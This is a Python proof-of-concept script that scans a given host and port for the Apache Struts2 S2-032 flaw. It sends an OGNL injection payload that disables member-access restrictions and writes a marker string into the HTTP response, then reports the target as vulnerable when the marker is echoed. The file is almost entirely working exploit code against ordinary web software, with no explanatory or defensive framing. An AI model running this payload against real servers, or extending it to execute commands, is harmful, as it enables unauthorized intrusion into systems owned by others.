#!/usr/bin/python
#-*- coding:utf-8 -*-

import requests
import sys
import argparse
from json_parse import Jsonparse


class strus2(object):
    def __init__ (self,ip,port,level):
        self.ip = ip
        self.port = port
        self.level = level
    def run(self):
        if self.port == "443":
            url = "https://"+self.ip
        else:
            url = "http://"+self.ip+":"+self.port
        poc='032 test'
        payload = {'method:#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#writer=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#writer.println(#parameters.poc[0]),#writer.flush(),#writer.close': '', 'poc': poc}
        try:
            r = requests.get(url, params=payload, timeout=self.level ,verify=False)
            if poc in r.text:
                print("[+] Target "+url+" Find Struts2-032 Vuln!!! ")
                exit(233)
            else:
                print("[-] Target "+url+" Not Struts2-032 Vuln!!! Good Luck")
                exit(1)
        except Exception as e:
            print(e)
            print("[*] connect refuses")
            exit(-1)


if __name__ == '__main__':
    print("[*] start checking")
    jsonfile = sys.argv[1] + '\\poc\\lib\\config.json'
    jsonobj = Jsonparse(jsonfile)
    jsondata = jsonobj.parse()
    targetip = sys.argv[2]
    timeout = jsondata['timeout3']
    port = sys.argv[3]
    Scanner = strus2(targetip, port, timeout)
    Scanner.run()